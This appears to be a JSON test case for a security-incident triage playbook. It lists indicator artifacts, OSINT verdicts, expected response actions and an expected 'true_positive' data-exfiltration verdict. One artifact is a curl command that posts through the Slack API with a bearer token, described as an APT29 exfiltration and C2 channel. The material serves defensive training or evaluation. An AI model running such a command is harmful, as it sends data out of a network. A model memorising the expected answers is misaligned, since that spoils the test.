{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"104.16.59.37","is_critical":true,"osint_result":{"source":"AbuseIPDB","verdict":"malicious","details":"IP associated with multiple APT29 C2 activities"}},{"id":"artifact_2","type":"ip","value":"192.168.1.10","is_critical":false,"osint_result":{"source":"Internal Network","verdict":"internal","details":"Internal IP of the compromised machine"}},{"id":"artifact_3","type":"command","value":"curl -H 'Authorization: Bearer xoxb-1234567890-0987654321-abcdef' https://slack.com/api/chat.postMessage","is_critical":true,"osint_result":{"source":"Pattern Analysis","verdict":"suspicious","details":"Unusual Slack API usage detected"}}],"expected_actions":["isolate_host","block_ip","collect_forensics"],"expected_verdict":"true_positive","expected_category":"data_exfiltration","analysis_notes":"The use of Slack as a C2 channel indicates advanced evasion techniques by APT29."}